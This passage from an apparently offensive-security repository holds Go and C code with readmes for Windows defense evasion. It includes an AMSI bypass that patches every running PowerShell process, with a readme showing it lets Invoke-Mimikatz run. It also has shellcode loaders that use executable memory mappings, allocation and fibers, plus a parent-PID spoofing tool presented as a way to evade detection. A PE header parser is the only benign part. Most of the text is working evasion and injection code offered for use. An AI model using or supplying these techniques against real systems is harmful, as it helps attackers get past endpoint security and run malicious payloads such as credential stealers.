-1 35 | } 36 | 37 | func patchAmsi(tpid uint32) int { 38 | pattern := []byte{0x48, '?', '?', 0x74, '?', 0x48, '?', '?', 0x74} 39 | prochandl, _ := windows.OpenProcess(vmoperation|vmread|vmwrite, false, tpid) 40 | defer windows.CloseHandle(prochandl) 41 | hm, _ := windows.LoadLibrary("amsi.dll") 42 | defer windows.FreeLibrary(hm) 43 | AmsiAddr, _ := windows.GetProcAddress(hm, "AmsiOpenSession") 44 | buff := make([]byte, 1024) 45 | var bytereadt uintptr 46 | _ = windows.ReadProcessMemory(prochandl, uintptr(AmsiAddr), &buff[0], 1024, &bytereadt) 47 | matchaddr := SPatt(buff, pattern) 48 | if matchaddr == -1 { 49 | return 144 50 | } 51 | fmt.Printf("amsi addr %X\n", AmsiAddr) 52 | fmt.Printf("offset : %d\n", matchaddr) 53 | updaamsaddr := uintptr(AmsiAddr) + uintptr(matchaddr) 54 | var bytwrite uintptr 55 | _ = windows.WriteProcessMemory(prochandl, updaamsaddr, &patch[0], 1, &bytwrite) 56 | return 0 57 | } 58 | 59 | func PatchAllPowershells(pn string) { 60 | hSnap, _ := windows.CreateToolhelp32Snapshot(th32snapproc, 0) 61 | defer windows.CloseHandle(hSnap) 62 | var pE windows.ProcessEntry32 63 | pE.Size = uint32(unsafe.Sizeof(pE)) 64 | windows.Process32First(hSnap, &pE) 65 | for { 66 | if pE.ExeFile[0] == 0 { 67 | break 68 | } 69 | if syscall.UTF16ToString(pE.ExeFile[:]) == pn { 70 | procId := pE.ProcessID 71 | result := patchAmsi(procId) 72 | switch result { 73 | case 0: 74 | fmt.Printf("AMSI patched %d\n", pE.ProcessID) 75 | case 144: 76 | fmt.Println("Already patched in this current console..") 77 | default: 78 | fmt.Println("Patch failed") 79 | } 80 | } 81 | if windows.Process32Next(hSnap, &pE) != nil { 82 | break 83 | } 84 | } 85 | } 86 | 87 | func main() { 88 | for { 89 | PatchAllPowershells("powershell.exe") 90 | time.Sleep(ptchdrq * time.Millisecond) 91 | } 92 | } -------------------------------------------------------------------------------- /LifetimeAMSIBypass/readme.md: -------------------------------------------------------------------------------- 1 | # Lifetime AMSI bypass 2 | - Credits ZeroMemoryEx on github 3 | ## Opcode Scan 4 | 5 | * we get the exact address of the jump instruction by searching for the first byte of each instruction this technique is effective even in the face of updates or modifications to the target data set. 6 | 7 | * for example : 8 | 9 | ` | 48:85D2 | test rdx, rdx |` 10 | 11 | ` | 74 3F | je amsi.7FFAE957C694 |` 12 | 13 | ` | 48 : 85C9 | test rcx, rcx |` 14 | 15 | ` | 74 3A | je amsi.7FFAE957C694 |` 16 | 17 | ` | 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |` 18 | 19 | ` | 74 33 | je amsi.7FFAE957C694 |` 20 | 21 | * the search pattern will be like this : 22 | 23 | `{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}` 24 | 25 | 26 | ![image](https://user-images.githubusercontent.com/60795188/221431685-60fb2012-db0f-41aa-bd7b-3a19f07c91c4.png) 27 | 28 | 29 | 30 | # Patch 31 | 32 | ## Before Patch 33 | 34 | * The program tests the value of RDX against itself. If the comparison evaluates to 0, the program executes a jump to return. Otherwise, the program proceeds to evaluate the next instruction 35 | 36 | ![image](https://user-images.githubusercontent.com/60795188/221431975-73c78c9c-5358-44c2-b0de-41d68024e2bb.png) 37 | 38 | * we cant execute "Invoke-Mimikatz" 39 | 40 | ![image](https://user-images.githubusercontent.com/60795188/221432132-20993ccf-c53e-493d-8b22-feaea86fb6bf.png) 41 | 42 | ## After Patch 43 | 44 | 45 | * we patch the first byte and change it from JE to JMP so it return directly 46 | 47 | ![Screenshot 2023-02-26 195848](https://user-images.githubusercontent.com/60795188/221444031-5b8c365f-cb38-4ce4-89b5-153ecc12208d.png) 48 | 49 | ![image](https://user-images.githubusercontent.com/60795188/221432418-841db688-879c-4915-8d6e-926236a3732c.png) 50 | 51 | * now we execute "Invoke-Mimikatz" 52 | 53 | ![Screenshot 2023-02-26 195914](https://user-images.githubusercontent.com/60795188/221432425-5c121433-33f4-4b8d-add6-63c078d5edb8.png) -------------------------------------------------------------------------------- /Local_Mapping_Injection/Local_Mapping_Injection.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "syscall" 6 | "unsafe" 7 | ) 8 | 9 | var ( 10 | kernel32 = syscall.NewLazyDLL("kernel32.dll") 11 | CreateFileMappingW = kernel32.NewProc("CreateFileMappingW") 12 | MapViewOfFile = kernel32.NewProc("MapViewOfFile") 13 | CreateThread = kernel32.NewProc("CreateThread") 14 | WaitForSingleObject = kernel32.NewProc("WaitForSingleObject") 15 | CloseHandle = kernel32.NewProc("CloseHandle") 16 | ) 17 | 18 | func main() { 19 | // start calc.exe 20 | shellcode := []byte{ 21 | 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 22 | 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 23 | 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 24 | 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 25 | 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 26 | 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 27 | 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 28 | } 29 | 30 | fmt.Println("[+] Creating a mapping file") 31 | hfile, _, err := CreateFileMappingW.Call( 32 | uintptr(0xFFFFFFFFFFFFFFFF), // INVALID_HANDLE_VALUE 33 | 0, 34 | syscall.PAGE_EXECUTE_READWRITE, 35 | 0, 36 | uintptr(len(shellcode)), 37 | 0, 38 | ) 39 | if hfile == 0 { 40 | panic(fmt.Sprintf("[!] CreateFileMappingW Failed With Error: %v", err)) 41 | } 42 | 43 | fmt.Println("[+] Mapping the file object") 44 | mapaddr, _, err := MapViewOfFile.Call( 45 | hfile, 46 | syscall.FILE_MAP_WRITE|syscall.FILE_MAP_EXECUTE, 47 | 0, 48 | 0, 49 | uintptr(len(shellcode)), 50 | ) 51 | if mapaddr == 0 { 52 | panic(fmt.Sprintf("[!] MapViewOfFile Failed With Error: %v", err)) 53 | } 54 | 55 | fmt.Println("[+] Copying shellcode to mapped memory") 56 | copy((*[276]byte)(unsafe.Pointer(mapaddr))[:], shellcode) 57 | 58 | fmt.Println("[+] Creating a thread") 59 | hthread, _, err := CreateThread.Call( 60 | 0, 61 | 0, 62 | mapaddr, 63 | 0, 64 | 0, 65 | 0, 66 | ) 67 | if hthread == 0 { 68 | panic(fmt.Sprintf("[!] CreateThread Failed With Error: %v", err)) 69 | } 70 | 71 | fmt.Println("[+] Thread Executed!!") 72 | WaitForSingleObject.Call(hthread, syscall.INFINITE) 73 | CloseHandle.Call(hthread) 74 | } 75 | -------------------------------------------------------------------------------- /Local_Payload_Execution/Local_Payload_Execution.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "unsafe" 6 | "syscall" 7 | ) 8 | 9 | var ( 10 | kernel32 = syscall.NewLazyDLL("kernel32.dll") 11 | virtualalloc = kernel32.NewProc("VirtualAlloc") 12 | virtualprotect = kernel32.NewProc("VirtualProtect") 13 | createthread = kernel32.NewProc("CreateThread") 14 | waitforsingleobject = kernel32.NewProc("WaitForSingleObject") 15 | ) 16 | 17 | const ( 18 | memCommit = 0x00001000 19 | memReserve = 0x00002000 20 | pageReadWrite = 0x04 21 | pageExecuteReadWrite = 0x40 22 | infinite = 0xFFFFFFFF 23 | ) 24 | 25 | func main() { 26 | shellcode := []byte{ 27 | 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 28 | 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 29 | 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 30 | 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 31 | 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 32 | 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 33 | 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 34 | } 35 | 36 | fmt.Println("[+] Memory Allocation Being Performed") 37 | addr, _, err := virtualalloc.Call(0, uintptr(len(shellcode)), memCommit|memReserve, pageReadWrite) 38 | if addr == 0 { 39 | panic(fmt.Sprintf("[!] VirtualAlloc failed: %v", err)) 40 | } 41 | 42 | fmt.Println("[+] Copying Shellcode To Target Memory") 43 | for i, v := range shellcode { 44 | *(*byte)(unsafe.Pointer(addr + uintptr(i))) = v 45 | } 46 | 47 | fmt.Println("[+] Changing Page Permissions") 48 | var oldProtect uint32 49 | _, _, err = virtualprotect.Call(addr, uintptr(len(shellcode)), pageExecuteReadWrite, uintptr(unsafe.Pointer(&oldProtect))) 50 | if err != nil && err.(syscall.Errno) != 0 { 51 | panic(fmt.Sprintf("[!] VirtualProtect failed: %v", err)) 52 | } 53 | 54 | fmt.Println("[+] Thread Being Created") 55 | thread, _, err := createthread.Call(0, 0, addr, 0, 0, 0) 56 | if thread == 0 { 57 | panic(fmt.Sprintf("[!] CreateThread failed: %v", err)) 58 | } 59 | 60 | fmt.Println("[+] Shellcode Executed!") 61 | waitforsingleobject.Call(thread, infinite) 62 | } 63 | -------------------------------------------------------------------------------- /PEParser/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/binary" 5 | "fmt" 6 | "io/ioutil" 7 | "unsafe" 8 | "os" 9 | ) 10 | 11 | const ( 12 | IMAGE_DOS_SIGNATURE = 0x5A4D 13 | IMAGE_NT_SIGNATURE = 0x00004550 14 | IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10B 15 | IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20B 16 | IMAGE_FILE_MACHINE_I386 = 0x14c 17 | IMAGE_FILE_MACHINE_AMD64 = 0x8664 18 | IMAGE_SCN_MEM_EXECUTE = 0x20000000 19 | IMAGE_SCN_MEM_READ = 0x40000000 20 | IMAGE_SCN_MEM_WRITE = 0x80000000 21 | IMAGE_DIRECTORY_ENTRY_EXPORT = 0 22 | IMAGE_DIRECTORY_ENTRY_IMPORT = 1 23 | IMAGE_DIRECTORY_ENTRY_RESOURCE = 2 24 | IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3 25 | IMAGE_DIRECTORY_ENTRY_SECURITY = 4 26 | IMAGE_DIRECTORY_ENTRY_BASERELOC = 5 27 | IMAGE_DIRECTORY_ENTRY_DEBUG = 6 28 | IMAGE_DIRECTORY_ENTRY_ARCHITECTURE = 7 29 | IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8 30 | IMAGE_DIRECTORY_ENTRY_TLS = 9 31 | IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10 32 | IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11 33 | IMAGE_DIRECTORY_ENTRY_IAT = 12 34 | IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13 35 | IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14 36 | IMAGE_SIZEOF_SHORT_NAME = 8 37 | IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 38 | ) 39 | 40 | type IMAGE_DOS_HEADER struct { 41 | E_magic uint16 42 | E_cblp uint16 43 | E_cp uint16 44 | E_crlc uint16 45 | E_cparhdr uint16 46 | E_minalloc uint16 47 | E_maxalloc uint16 48 | E_ss uint16 49 | E_sp uint16 50 | E_csum uint16 51 | E_ip uint16 52 | E_cs uint16 53 | E_lfarlc uint16 54 | E_ovno uint16 55 | E_res [4]uint16 56 | E_oemid uint16 57 | E_oeminfo uint16 58 | E_res2 [10]uint16 59 | E_lfanew int32 60 | } 61 | 62 | type IMAGE_NT_HEADERS32 struct { 63 | Signature uint32 64 | FileHeader IMAGE_FILE_HEADER 65 | OptionalHeader IMAGE_OPTIONAL_HEADER32 66 | } 67 | 68 | type IMAGE_NT_HEADERS64 struct { 69 | Signature uint32 70 | FileHeader IMAGE_FILE_HEADER 71 | OptionalHeader IMAGE_OPTIONAL_HEADER64 72 | } 73 | 74 | type IMAGE_FILE_HEADER struct { 75 | Machine uint16 76 | NumberOfSections uint16 77 | TimeDateStamp uint32 78 | PointerToSymbolTable uint32 79 | NumberOfSymbols uint32 80 | SizeOfOptionalHeader uint16 81 | Characteristics uint16 82 | } 83 | 84 | type IMAGE_OPTIONAL_HEADER32 struct { 85 | Magic uint16 86 | MajorLinkerVersion uint8 87 | MinorLinkerVersion uint8 88 | SizeOfCode uint32 89 | SizeOfInitializedData uint32 90 | SizeOfUninitializedData uint32 91 | AddressOfEntryPoint uint32 92 | BaseOfCode uint32 93 | BaseOfData uint32 94 | ImageBase uint32 95 | SectionAlignment uint32 96 | FileAlignment uint32 97 | MajorOperatingSystemVersion uint16 98 | MinorOperatingSystemVersion uint16 99 | MajorImageVersion uint16 100 | MinorImageVersion uint16 101 | MajorSubsystemVersion uint16 102 | MinorSubsystemVersion uint16 103 | Win32VersionValue uint32 104 | SizeOfImage uint32 105 | SizeOfHeaders uint32 106 | CheckSum uint32 107 | Subsystem uint16 108 | DllCharacteristics uint16 109 | SizeOfStackReserve uint32 110 | SizeOfStackCommit uint32 111 | SizeOfHeapReserve uint32 112 | SizeOfHeapCommit uint32 113 | LoaderFlags uint32 114 | NumberOfRvaAndSizes uint32 115 | DataDirectory [IMAGE_NUMBEROF_DIRECTORY_ENTRIES]IMAGE_DATA_DIRECTORY 116 | } 117 | 118 | type IMAGE_OPTIONAL_HEADER64 struct { 119 | Magic uint16 120 | MajorLinkerVersion uint8 121 | MinorLinkerVersion uint8 122 | SizeOfCode uint32 123 | SizeOfInitializedData uint32 124 | SizeOfUninitializedData uint32 125 | AddressOfEntryPoint uint32 126 | BaseOfCode uint32 127 | ImageBase uint64 128 | SectionAlignment uint32 129 | FileAlignment uint32 130 | MajorOperatingSystemVersion uint16 131 | MinorOperatingSystemVersion uint16 132 | MajorImageVersion uint16 133 | MinorImageVersion uint16 134 | MajorSubsystemVersion uint16 135 | MinorSubsystemVersion uint16 136 | Win32VersionValue uint32 137 | SizeOfImage uint32 138 | SizeOfHeaders uint32 139 | CheckSum uint32 140 | Subsystem uint16 141 | DllCharacteristics uint16 142 | SizeOfStackReserve uint64 143 | SizeOfStackCommit uint64 144 | SizeOfHeapReserve uint64 145 | SizeOfHeapCommit uint64 146 | LoaderFlags uint32 147 | NumberOfRvaAndSizes uint32 148 | DataDirectory [IMAGE_NUMBEROF_DIRECTORY_ENTRIES]IMAGE_DATA_DIRECTORY 149 | } 150 | 151 | type IMAGE_DATA_DIRECTORY struct { 152 | VirtualAddress uint32 153 | Size uint32 154 | } 155 | 156 | type IMAGE_SECTION_HEADER struct { 157 | Name [IMAGE_SIZEOF_SHORT_NAME]byte 158 | Misc [4]byte 159 | VirtualAddress uint32 160 | SizeOfRawData uint32 161 | PointerToRawData uint32 162 | PointerToRelocations uint32 163 | PointerToLinenumbers uint32 164 | NumberOfRelocations uint16 165 | NumberOfLinenumbers uint16 166 | Characteristics uint32 167 | } 168 | 169 | func main() { 170 | args := os.Args 171 | if len(args) < 2 { 172 | fmt.Println("Usage: ", args[0], " yourfile.exe") 173 | return 174 | } 175 | pe := args[1] 176 | 177 | data, err := ioutil.ReadFile(pe) 178 | if err != nil { 179 | panic(err) 180 | } 181 | 182 | dosHeader := (*IMAGE_DOS_HEADER)(unsafe.Pointer(&data[0])) 183 | if dosHeader.E_magic != IMAGE_DOS_SIGNATURE { 184 | panic("[!] Invalid IMAGE_DOS_SIGNATURE") 185 | } 186 | 187 | ntHeaderOffset := int(dosHeader.E_lfanew) 188 | if ntHeaderOffset+binary.Size(IMAGE_NT_HEADERS64{}) > len(data) { 189 | panic("[!] Invalid PE file") 190 | } 191 | 192 | ntHeader := (*IMAGE_NT_HEADERS64)(unsafe.Pointer(&data[ntHeaderOffset])) 193 | if ntHeader.Signature != IMAGE_NT_SIGNATURE { 194 | panic("[!] Invalid NT SIGNATURE") 195 | } 196 | 197 | fmt.Println("==================== FILE HEADER ==========================") 198 | fmt.Printf("[+] (FILE_HEADER) Arch: %s\n", func() string { 199 | if ntHeader.FileHeader.Machine == IMAGE_FILE_MACHINE_I386 { 200 | return "x32" 201 | } 202 | return "x64" 203 | }()) 204 | fmt.Printf("[+] Number of sections: %d\n", ntHeader.FileHeader.NumberOfSections) 205 | fmt.Printf("[+] Size Optional Header: %d\n\n", ntHeader.FileHeader.SizeOfOptionalHeader) 206 | 207 | fmt.Println("==================== OPTIONAL HEADER ======================") 208 | fmt.Printf("[+] (OPTIONAL_HEADER) Arch: %s\n", func() string { 209 | if ntHeader.OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC { 210 | return "x32" 211 | } 212 | return "x64" 213 | }()) 214 | fmt.Printf("[+] Section Size code: %d\n", ntHeader.OptionalHeader.SizeOfCode) 215 | fmt.Printf("[+] File Checksum: %d\n", ntHeader.OptionalHeader.CheckSum) 216 | fmt.Printf("[+] Required Version: %d.%d\n", ntHeader.OptionalHeader.MajorOperatingSystemVersion, ntHeader.OptionalHeader.MinorOperatingSystemVersion) 217 | fmt.Printf("[+] Number of entries in the DataDirectory: %d\n\n", ntHeader.OptionalHeader.NumberOfRvaAndSizes) 218 | 219 | fmt.Println("==================== DIRECTORIES ==========================") 220 | fmt.Printf("[+] EXPORT DIRECTORY WITH SIZE: %d | RVA: 0x%X\n", ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size, ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) 221 | fmt.Printf("[+] IMPORT DIRECTORY WITH SIZE: %d | RVA: 0x%X\n", ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size, ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress) 222 | fmt.Printf("[+] RESOURCE DIRECTORY WITH SIZE: %d | RVA: 0x%X\n", ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size, ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress) 223 | fmt.Printf("[+] EXCEPTION DIRECTORY WITH SIZE: %d | RVA: 0x%X\n", ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size, ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress) 224 | fmt.Printf("[+] BASE RELOCATION TABLE WITH SIZE: %d | RVA: 0x%X\n", ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size, ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) 225 | fmt.Printf("[+] TLS DIRECTORY WITH SIZE: %d | RVA: 0x%X\n", ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size, ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress) 226 | fmt.Printf("[+] IMPORT ADDRESS TABLE WITH SIZE: %d | RVA: 0x%X\n\n", ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size, ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress) 227 | 228 | fmt.Println("==================== SECTIONS =============================") 229 | 230 | sectionHeaderOffset := ntHeaderOffset + binary.Size(IMAGE_NT_HEADERS64{}) 231 | for i := 0; i < int(ntHeader.FileHeader.NumberOfSections); i++ { 232 | sectionHeader := (*IMAGE_SECTION_HEADER)(unsafe.Pointer(&data[sectionHeaderOffset])) 233 | 234 | fmt.Printf("[#] %s\n", sectionHeader.Name[:]) 235 | fmt.Printf("\tSize: %d\n", sectionHeader.SizeOfRawData) 236 | fmt.Printf("\tRVA: 0x%X\n", sectionHeader.VirtualAddress) 237 | fmt.Printf("\tRelocations: %d\n", sectionHeader.NumberOfRelocations) 238 | fmt.Printf("\tAddress: 0x%X\n", uintptr(unsafe.Pointer(sectionHeader))+uintptr(sectionHeader.VirtualAddress)) 239 | fmt.Printf("\tPermissions:\n") 240 | 241 | if sectionHeader.Characteristics&IMAGE_SCN_MEM_READ != 0 { 242 | fmt.Println("\t\tPAGE_READONLY") 243 | } 244 | if sectionHeader.Characteristics&IMAGE_SCN_MEM_WRITE != 0 { 245 | fmt.Println("\t\tPAGE_READWRITE") 246 | } 247 | if sectionHeader.Characteristics&IMAGE_SCN_MEM_EXECUTE != 0 { 248 | fmt.Println("\t\tPAGE_EXECUTE") 249 | } 250 | if sectionHeader.Characteristics&(IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ) != 0 { 251 | fmt.Println("\t\tPAGE_EXECUTE_READWRITE") 252 | } 253 | 254 | sectionHeaderOffset += binary.Size(IMAGE_SECTION_HEADER{}) 255 | } 256 | 257 | return 258 | } 259 | -------------------------------------------------------------------------------- /PEParser/readme.md: -------------------------------------------------------------------------------- 1 | # Overview 2 | The code is focused on parsing the PE header of any Windows executable file. 3 | 4 | ### Usage: 5 | ```go run main.go yourfile.exe``` -------------------------------------------------------------------------------- /ParentPIDSpoofing/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | /* 4 | #cgo CFLAGS: -DUNICODE 5 | #cgo LDFLAGS: -lpsapi -lkernel32 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #define BUFFER_SIZE 1024 14 | 15 | DWORD runningProcessesIDs[BUFFER_SIZE]; 16 | DWORD runningProcessesCountBytes; 17 | DWORD runningProcessesCount; 18 | HANDLE hExplorerexe = NULL; 19 | 20 | #ifndef PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 21 | #define PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 0x00020000 22 | #endif 23 | 24 | typedef struct _STARTUPINFOEXA { 25 | STARTUPINFOA StartupInfo; 26 | PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; 27 | } STARTUPINFOEXA; 28 | 29 | BOOL InitializeProcThreadAttributeList( 30 | LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, 31 | DWORD dwAttributeCount, 32 | DWORD dwFlags, 33 | PSIZE_T lpSize 34 | ); 35 | 36 | BOOL UpdateProcThreadAttribute( 37 | LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, 38 | DWORD dwFlags, 39 | DWORD_PTR Attribute, 40 | PVOID lpValue, 41 | SIZE_T cbSize, 42 | PVOID lpPreviousValue, 43 | PSIZE_T lpReturnSize 44 | ); 45 | 46 | VOID DeleteProcThreadAttributeList( 47 | LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList 48 | ); 49 | 50 | void CreateProcessWithExplorerParent(char* commandLine) { 51 | EnumProcesses(runningProcessesIDs, sizeof(runningProcessesIDs), &runningProcessesCountBytes); 52 | runningProcessesCount = runningProcessesCountBytes / sizeof(DWORD); 53 | 54 | for (DWORD i = 0; i < runningProcessesCount; i++) { 55 | if (runningProcessesIDs[i] != 0) { 56 | HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, runningProcessesIDs[i]); 57 | if (hProcess != NULL) { 58 | char processName[MAX_PATH + 1] = {0}; 59 | if (GetModuleFileNameExA(hProcess, NULL, processName, MAX_PATH)) { 60 | _strlwr(processName); 61 | if (strstr(processName, "explorer.exe") != NULL) { 62 | hExplorerexe = hProcess; 63 | break; 64 | } 65 | } 66 | CloseHandle(hProcess); 67 | } 68 | } 69 | } 70 | 71 | if (hExplorerexe == NULL) { 72 | printf("Could not find explorer.exe process\n"); 73 | return; 74 | } 75 | 76 | STARTUPINFOEXA si; 77 | PROCESS_INFORMATION pi; 78 | SIZE_T attributeSize = 0; 79 | 80 | ZeroMemory(&si, sizeof(STARTUPINFOEXA)); 81 | ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); 82 | 83 | InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize); 84 | si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, attributeSize); 85 | InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize); 86 | UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hExplorerexe, sizeof(HANDLE), NULL, NULL); 87 | si.StartupInfo.cb = sizeof(STARTUPINFOEXA); 88 | 89 | if (!CreateProcessA(NULL, commandLine, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) { 90 | printf("CreateProcess failed: %d\n", GetLastError()); 91 | } else { 92 | printf("Process created with PID: %d\n", pi.dwProcessId); 93 | } 94 | 95 | DeleteProcThreadAttributeList(si.lpAttributeList); 96 | HeapFree(GetProcessHeap(), 0, si.lpAttributeList); 97 | CloseHandle(pi.hProcess); 98 | CloseHandle(pi.hThread); 99 | CloseHandle(hExplorerexe); 100 | } 101 | */ 102 | import "C" 103 | import "unsafe" 104 | 105 | func main() { 106 | commandLine := "C:\\Windows\\System32\\notepad.exe" 107 | cCommandLine := C.CString(commandLine) 108 | defer C.free(unsafe.Pointer(cCommandLine)) 109 | 110 | C.CreateProcessWithExplorerParent(cCommandLine) 111 | } 112 | -------------------------------------------------------------------------------- /ParentPIDSpoofing/readme.md: -------------------------------------------------------------------------------- 1 | # Parent PID spoofing 2 | - This is a simple method to bypass malicious behavior detections based on parent-child process relationship. Usually when an application starts another executable, the new process has a parent PID assigned which indicates the process that created it. This allows to detect and possibly block malicious intents like for example Word/Excel application starting Powershell. This technique may be combined with for example process hollowing to achieve more stealth. 3 | 4 | - The great thing is that CreateProcess API lets you provide additional information for process creation, including the one called PROC_THREAD_ATTRIBUTE_PARENT_PROCESS. Let’s see how to use it - we will create a Notepad process in a way that it will look like it was spawned by explorer.exe: 5 | -------------------------------------------------------------------------------- /Payload_Execution_Fibers/Payload_Execution_Fibers.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | /* 4 | #include "payload_exec_fibers.c" 5 | */ 6 | import "C" 7 | import ( 8 | "fmt" 9 | "unsafe" 10 | ) 11 | // Start Calc.exe 12 | var shellcode = []byte{ 13 | 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 14 | 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 15 | 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 16 | 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 17 | 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 18 | 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 19 | 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 20 | } 21 | 22 | func main() { 23 | C.ExecSC((*C.uchar)(unsafe.Pointer(&shellcode[0])), C.size_t(len(shellcode))) 24 | fmt.Println("[+] Shellcode Executed!") 25 | } 26 | -------------------------------------------------------------------------------- /Payload_Execution_Fibers/payload_exec_fibers.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void ExecSC(const unsigned char* shellcode, size_t length) { 4 | LPVOID allocmem = VirtualAlloc(NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 5 | if (allocmem == NULL) { 6 | ExitProcess(GetLastError()); 7 | } 8 | memcpy(allocmem, shellcode, length); 9 | DWORD oldProtect; 10 | if 